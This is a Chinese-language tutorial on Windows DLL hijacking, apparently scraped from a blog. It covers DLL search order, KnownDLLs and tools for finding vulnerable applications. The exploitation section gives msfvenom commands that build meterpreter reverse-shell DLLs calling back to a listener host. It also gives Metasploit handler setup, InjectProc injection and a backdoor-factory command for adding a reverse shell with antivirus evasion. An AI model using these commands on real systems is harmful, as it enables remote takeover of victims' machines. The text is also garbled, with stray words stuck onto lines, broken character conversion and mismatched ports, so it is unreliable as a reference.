Dll劫持漏洞詳解

 

1、dll的定義

DLL(Dynamic Link Library)文件爲動態連接庫文件,又稱「應用程序拓展」,是軟件文件類型。在Windows中,許多應用程序並非一個完整的可執行文件,它們被分割成一些相對獨立的動態連接庫,即DLL文件,放置於系統中。當咱們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可以使用多個DLL文件,一個DLL文件也可能被不一樣的應用程序使用,這樣的DLL文件被稱爲共享DLL文件。php

若是在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那麼Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客可以將惡意的DLL放在優先於正常DLL所在的目錄,就可以欺騙系統優先加載惡意DLL,來實現「劫持」git

2、dll的原理利用

2.1 Windows XP SP2以前

Windows查找DLL的目錄以及對應的順序:github

1. 進程對應的應用程序所在目錄;
2. 當前目錄(Current Directory);
3. 系統目錄(經過 GetSystemDirectory 獲取);
4. 16位系統目錄;
5. Windows目錄(經過 GetWindowsDirectory 獲取);
6. PATH環境變量中的各個目錄;shell

例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,若是咱們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一塊兒,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。數據庫

2.2在winxdows xp sp2以後

Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啓):windows

默認註冊表爲:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值爲1app

1. 進程對應的應用程序所在目錄(可理解爲程序安裝目錄好比C:ProgramFilesuTorrent);
2. 系統目錄(即%windir%system32);
3. 16位系統目錄(即%windir%system);
4. Windows目錄(即%windir%);
5. 當前目錄(運行的某個文件所在目錄,好比C:DocumentsandSettingsAdministratorDesktoptest);
6. PATH環境變量中的各個目錄;tcp

2.3 windows7以上

系統沒有了SafeDllSearchMode 而採用KnownDLLs,那麼凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其註冊表位置:函數

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs工具

那麼最終Windows203以上以及win7以上操做系統經過「DLL路徑搜索目錄順序」和「KnownDLLs註冊表項」的機制來肯定應用程序所要調用的DLL的路徑,以後,應用程序就將DLL載入了本身的內存空間,執行相應的函數功能。

3、DLL漏洞檢查

3.1使用Process Explorer檢查

這裏主要找到應用程序dll_hijack_test.exe加載的dll主要調用了dll_hijack_test_dll.dll,而這個dll在KnownDLLs沒有,因此存在DLL劫持,建議使用手工查找。

 

 

3.2使用DLL Hijacking Auditor(DLL劫持審計器)

http://securityxploded.com/getsoftware_direct.php?id=7777,此工具只能運行在32位上,貌似誤報有點多。

3.3使用自動化rattler dll檢查工具

下載地址:https://github.com/sensepost/rattler/releases

3.4 檢查步驟方法

1.啓動應用程序

2.使用Process Explorer等相似軟件查看該應用程序啓動後加載的動態連接庫。

3.從該應用程序已經加載的DLL列表中,查找在上述「KnownDLLs註冊表項」中不存在的DLL。

4.經過msf生成劫持的dll漏洞名,或者用K8dllhijack.dll改爲劫持的dll名來測試是否存在劫持。

5.將編寫好的劫持DLL放到該應用程序目錄下,從新啓動該應用程序,檢測是否劫持成功

3.4 InjectProc實現自動注入dll

1. InjectProc.exe dll_inj  mbox.dll  notepad.exe  #這裏的DLL是能夠是msf生成的dll或者遠控生成的dll,notepad.exe就是進程裏面打開的應用程序名

 

 

 

3.5 DLL存在劫持漏洞搜索庫

DLL劫持漏洞翻譯成英文叫作 DLL Hijacking Vulnerability,CWE將其歸類爲 Untrusted Search Path Vulnerability。若是想要去CVE數據庫中搜索DLL劫持漏洞案例,搜索這兩個關鍵詞便可。

Corelan博客-提供了存在漏洞(DLL劫持)的應用程序列表(非官方):

http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

exploit-db網站-提供了存在漏洞(DLL劫持)的應用程序列表:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

4、DLL劫持漏洞利用場景

4.1 針對應用程序安裝目錄的DLL劫持

前提條件須要是管理員權限,通常程序運行的進程對應的目錄在默認的%ProgramFiles% 或者是 %ProgramFiles(x86)%下

4.2 針對文件關聯的DLL劫持

就是當打開某個文件類型時,會在進程中加載某個應用程序,那麼應用程序會關聯某個DLL加載,而這時候如何關聯的dll不存在,那麼最終會在當前目錄下查找到關聯的dll,這個DLL就是咱們惡意的dll.

4.3 針對安裝程序的DLL劫持

主要是應用程序安裝包,放一個惡意的dll到當期安裝包目錄下就會被劫持

4.4 msf下dll的劫持利用

1.在kali下使用Msfvenom建立惡意DLL文件

x86:

msfvenom  -p  windows/meterpreter/reverse_tcp  lhost=192.168.1.101  lport=4444   -f  dll>存在劫持dll名.dll

x64:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110  lport=4444  -f dll >存在劫持dll名.dll

2.msf開啓反彈shell監聽:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp(x86)

set payload windows/x64/meterpreter/reverse_tcp(x64)

set lhost  192.168.1.110

set lport 555

exploit

 

將生產劫持的dll拷貝到存在劫持漏洞的應用程序目錄下,而後執行應用程序。這裏我將用InjectProc來執行DLL劫持。

injectPro.exe dll_inj  MSF生成的dll  劫持的程序名

 

而後只要運行記事本,就會反彈msf:

 

須要用到的工具:(包括用到的利用工具和測試文件)

https://raw.githubusercontent.com/backlion/demo/master/dll.zip

另附上: dll劫持生產工具backdoor-factory免殺和msf的結合

backdoor-factory -f /opt/劫持名.dll   -s   reverse_shell_tcp_inline    -P 192.168.1.110    -H   555

 

use exploit/multi/handler

set payload windows/shell_reverse_tcp set lhost 192.168.1.110 set lport 555 exploit
相關文章
相關標籤/搜索